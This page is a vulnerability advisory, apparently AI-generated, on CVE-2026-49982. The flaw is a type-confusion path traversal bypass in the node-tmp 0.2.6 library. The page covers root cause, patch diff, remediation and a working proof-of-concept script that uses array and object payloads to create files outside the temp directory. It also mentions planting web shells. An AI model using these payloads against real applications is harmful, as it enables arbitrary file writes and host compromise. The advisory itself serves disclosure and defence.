CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-49982

CVE-2026-49982: Path Traversal Bypass via Type Confusion in node-tmp

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 15, 2026·6 min read·105 visits

Executive Summary (TL;DR)

A type-confusion vulnerability in node-tmp version 0.2.6 allows path traversal checks to be bypassed using non-string options (such as arrays). This results in arbitrary file and directory creation outside the temporary workspace, potentially leading to unauthorized writes and host compromise.

A high-severity type-confusion path traversal vulnerability (CVE-2026-49982 / GHSA-7c78-jf6q-g5cm) exists in the node-tmp package version 0.2.6. The vulnerability allows remote attackers to bypass path validation checks by passing non-string data types such as Arrays or duck-typed Objects into options like prefix, postfix, or template. Because the library relies on the .includes() method without verifying the input type, standard array checks evaluate differently than string checks. Downstream string coercion subsequently restores the traversal sequence, allowing files and directories to be created outside the designated temporary directory root. This can result in arbitrary file writes and potential local file execution depending on application context.

Vulnerability Overview

The tmp library is a widely used Node.js utility designed to facilitate the secure generation of temporary files and directories. Applications routinely utilize this package to process untrusted uploads, cache session state, or parse ephemeral datasets. Because these operations occur within administrative directory structures, the library is responsible for ensuring that generated resources do not escape their assigned, isolated namespaces.

To prevent directory traversal attacks, version 0.2.6 of the library introduced an internal path validation guard named _assertPath. This guard is designed to audit incoming parameters—such as custom prefixes, postfixes, and path templates—and throw an exception if directory traversal sequences like .. are present. Despite this addition, the validation layer is critically weakened by a lack of input type enforcement.

Because the input validation assumes all arguments are primitive strings, it fails to account for alternative JavaScript data structures. If an application routes raw JSON bodies or complex query objects directly to tmp API interfaces, an attacker can submit non-string objects. This triggers a type-confusion state, allowing directory traversal sequences to bypass the protection routine while maintaining their functionality downstream in the operating system's filesystem layers.

Root Cause Analysis

The root cause of CVE-2026-49982 lies within the implementation of the _assertPath function and how JavaScript handles prototype method calls. In Node.js environments, web frameworks often convert input payloads into complex arrays or custom objects based on query parser configurations. When these structures are supplied to tmp.file(), they are evaluated against the validation logic in lib/tmp.js.

The vulnerable code executes path.includes("..") directly on the input argument. If the input is a primitive string containing ../, JavaScript invokes String.prototype.includes, which checks for the substring and correctly throws an error. However, if the input is an array (such as ['../escape']), JavaScript redirects the call to Array.prototype.includes. This array method performs an element-by-element equality check. Since the string '../escape' is not strictly equal to '..', the check returns false, and the execution continues.

Following validation, the library normalizes the options inside _generateTmpName. The components of the filename are placed into a container array and consolidated using Array.prototype.join(''). This join operation forces all sub-elements to undergo implicit string coercion. The array ['../escape'] stringifies back to '../escape'. When Node's native path.join() links the base directory with the coerced string, the traversal sequence resolves to the parent directory, allowing the boundaries of the safe folder to be escaped completely.

Code Analysis

An analysis of the vulnerable codebase in version 0.2.6 reveals the following validation routines inside lib/tmp.js:

// lib/tmp.js:533-539 (Vulnerable version 0.2.6)
function _assertPath(path) { 
  // Bug: No type assertion is executed before calling .includes().
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }
  return path;
}

The initialization routines consume the output of this function directly, without validating the output structure:

// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);

The fix introduced in 0.2.7 addresses this directly by implementing a strict type-assertion pattern:

// lib/tmp.js:531-542 (Patched version 0.2.7)
function _assertPath(option, value) {
  // Patch: Ensures the value is strictly a primitive string before validating content
  if (typeof value !== 'string') {
    throw new Error(`${option} option must be a string, got "${typeof value}".`);
  }
  if (value.includes("..")) {
    throw new Error("Relative value not allowed");
  }
  return value;
}

This patch completely mitigates the type-confusion attack vector. By enforcing that typeof value === 'string', arrays, duck-typed objects, buffers, or alternative payloads are immediately rejected. The method dispatch is guaranteed to bind to String.prototype.includes, executing the substring validation reliably.

Exploitation

Exploitation of CVE-2026-49982 is highly reliable and requires no authentication if the target application processes remote client inputs directly. In standard Express frameworks using parsed bodies or query arrays, input structures can be coerced to exploit this mechanism. For example, a POST request containing JSON arrays can bypass directory path sanitization.

// Standalone PoC demonstrating bypass with different payload styles
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
 
const baseDir = fs.mkdtempSync('/tmp/isolated-env-');
 
// Bypass vector 1: Using an array payload
try {
  const res = tmp.fileSync({ tmpdir: baseDir, prefix: ['../hijack'] });
  console.log('File successfully escaped to:', res.name);
  res.removeCallback();
} catch (err) {
  console.log('Blocked:', err.message);
}
 
// Bypass vector 2: Duck-typed object utilizing a customized toString mapping
try {
  const res = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../complex-bypass', includes: () => false }
  });
  console.log('File successfully escaped to:', res.name);
  res.removeCallback();
} catch (err) {
  console.log('Blocked:', err.message);
}

An attacker can use this behavior to generate file descriptors in administrative file trees such as webroots (/var/www/html/), user cron structures, or local user paths. If the server writes user-controlled values to the returned file paths, an attacker can overwrite critical scripts or inject a web shell, leading to unauthorized system control.

Impact Assessment

The impact of CVE-2026-49982 depends on how the application handles the temporary file reference after creation. If the application writes user-controlled text directly to the file descriptor provided by tmp, the attacker can achieve arbitrary file write capabilities. This allows the attacker to write data anywhere on the server's filesystem, limited only by the host process's active user permissions.

If the application creates directories rather than files, the path traversal allows attackers to pre-create workspace directories. This can lead to local privilege escalation or file manipulation vulnerabilities through symlink attacks, directory hijacking, or workspace modification.

The CVSS score is 8.2 (High) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L. This score reflects the high impact on data integrity, as arbitrary file writes can modify the system configuration, while data confidentiality remains unaffected directly by this specific mechanism.

Remediation and Mitigation

The primary resolution is to upgrade the tmp dependency to version 0.2.7 or above. This version implements strict string type checks on the prefix, postfix, and template fields. The upgrade is backward-compatible and does not require changes to normal application logic.

If upgrading is not immediately possible, you can implement type validation in your application code before invoking tmp functions. Enforcing primitive type validation ensures that complex input objects are rejected before they reach the library's validation checks.

// Manual type validation workaround
function safeTmpFile(options, callback) {
  const fields = ['prefix', 'postfix', 'template'];
  for (const field of fields) {
    if (options[field] !== undefined && typeof options[field] !== 'string') {
      throw new TypeError(`The ${field} option must be a primitive string`);
    }
  }
  return tmp.file(options, callback);
}

Additionally, you can configure Web Application Firewalls (WAFs) to inspect incoming API requests for multi-dimensional parameters (such as prefix[] or JSON representations using nested structures) directed at file management endpoints.

Official Patches

node-tmpFix PR with strict type enforcement for assertions.

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
EPSS Probability
0.45%
Top 65% most exploited

Affected Systems

Node.js applications running node-tmp version 0.2.6

Affected Versions Detail

Product
Affected Versions
Fixed Version
tmp
raszi
= 0.2.60.2.7
AttributeDetail
CWE IDCWE-20, CWE-22
Attack VectorNetwork
CVSS8.2 (High)
EPSS Score0.00447
ImpactIntegrity (High), Availability (Low)
Exploit StatusProof of Concept (PoC) available
KEV StatusNot listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Improper limitation of a pathname to a restricted directory ('Path Traversal')

Known Exploits & Detection

GitHubExploit methodology and security advisory details including reproducible scenarios.

Vulnerability Timeline

Vulnerability identified and reported by security researcher tonghuaroot.
2026-05-27
CVE-2026-49982 assigned and published.
2026-06-11
GitHub Security Advisory GHSA-7c78-jf6q-g5cm released.
2026-06-11
Official package release containing fixed version 0.2.7.
2026-06-15

References & Sources

  • [1]GitHub Security Advisory Details
  • [2]NVD Vulnerability Listing

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 minutes ago•CVE-2026-128074
6.9

CVE-2026-128074: Regular Expression Denial of Service in Nuxt SSR Payload URL Generation

CVE-2026-128074 is an algorithmic complexity and Regular Expression Denial of Service (ReDoS) vulnerability in Nuxt versions 4.6.0 through 4.6.3. The flaw resides in the server-side rendering (SSR) runtime components responsible for payload URL generation and experimental early 404 route evaluation. By sending unauthenticated HTTP requests containing long sequences of repeated forward slashes followed by a non-slash character, an attacker can force the V8 regular expression engine into quadratic O(N^2) backtracking, blocking the single-threaded Node.js event loop and degrading application availability.

Alon Barad
Alon Barad
0 views•11 min read
•about 1 hour ago•CVE-2026-128075
5.3

CVE-2026-128075: Sensitive Information Disclosure via Unhandled SSR Errors in Nuxt

CVE-2026-128075 (GHSA-96x6-fvhx-49hg) is an information disclosure vulnerability in the Nuxt framework affecting versions 3.0.0 prior to 4.6.4. During Server-Side Rendering (SSR), unhandled non-HTTP exceptions thrown within pages, plugins, or route middleware are automatically wrapped using createError without being flagged as unhandled. Consequently, the production SSR serializer treats these internal exceptions as deliberate public HTTP errors and embeds their raw message and data properties—which frequently contain internal URLs, API credentials, and upstream response payloads—directly into the client-accessible __NUXT_DATA__ hydration state and JSON error responses.

Alon Barad
Alon Barad
3 views•10 min read
•about 2 hours ago•CVE-2026-128076
3.1

CVE-2026-128076: Delimiter Injection and Island Prop Hash Collision in Nuxt

CVE-2026-128076 is an improper encoding and delimiter injection vulnerability in the Nuxt framework affecting Server Components (NuxtIsland). The flaw serves as an incomplete fix for CVE-2026-46342, where the underlying object hashing routine fails to escape structural delimiters in property keys and string values. This enables attackers to craft distinct sets of component properties that resolve to an identical `/__nuxt_island/<Name>_<hash>.json` route path. In deployments relying on static prerendering or path-only CDN caching, this hash collision permits cache poisoning, content substitution, and Cross-Site Scripting (XSS) if island props flow into unescaped HTML sinks.

Amit Schendel
Amit Schendel
4 views•13 min read
•about 3 hours ago•CVE-2026-128072
3.1

CVE-2026-128072: DNS Rebinding and Origin Validation Error in Nuxt Webpack and Rspack Development Builders

CVE-2026-128072 (GHSA-x2wv-5868-p7v2) is an origin validation vulnerability (CWE-346) in the Nuxt framework affecting the development middleware of @nuxt/webpack-builder and @nuxt/rspack-builder. Prior to version 4.6.4, the internal same-origin verification logic evaluated Sec-Fetch-Site, Origin, and Referer headers without first validating that the HTTP Host header belonged to an authorized hostname allowlist. This flaw allows a remote attacker to execute a DNS rebinding attack against a developer's local workstation, bypassing same-origin protections to read compiled client-side JavaScript chunks, inline source maps, local filesystem paths, and embedded client configuration values.

Amit Schendel
Amit Schendel
4 views•13 min read
•2 days ago•CVE-2026-128087
3.7

CVE-2026-128087: Premature Key Exchange Callback Invocation Prior to Host Key Verification in russh

CVE-2026-128087 (GHSA-9264-jvgf-6w2f) is an incorrect behavior order (CWE-696) and improper authorization (CWE-863) vulnerability in the russh Rust SSH library, affecting versions 0.55.0 through 0.65.0. During the initial SSH key exchange (KEX) handshake, the client state machine invokes the client::Handler::kex_done() callback—providing the negotiated raw shared secret bytes—prior to validating the remote server's host key or certificate via check_server_key(). Consequently, an untrusted or rogue SSH server can complete cryptographic key agreement and force a connecting client to execute side-effecting application logic inside kex_done() before the server's identity is checked and rejected.

Amit Schendel
Amit Schendel
9 views•10 min read
•2 days ago•CVE-2026-128082
7.5

CVE-2026-128082: Uncontrolled Recursion and Denial of Service in AutoMapper via Constructor Parameter Mapping

CVE-2026-128082 (GHSA-6vhm-j9h7-f9gh) is an uncontrolled recursion vulnerability (CWE-674) in AutoMapper, a convention-based object-object mapper for .NET. When mapping nested or self-referential types into destination models that rely on parameterized constructors, C# positional records, or recursive ConstructUsing expressions, AutoMapper evaluates child constructor arguments prior to incrementing the parent's recursion depth counter. This ordering flaw bypasses both explicit MaxDepth limits and the default depth limit of 64. An unauthenticated remote attacker can supply deeply nested input payloads to affected endpoints, exhausting the thread call stack and triggering an uncatchable System.StackOverflowException that terminates the hosting .NET process.

Amit Schendel
Amit Schendel
9 views•11 min read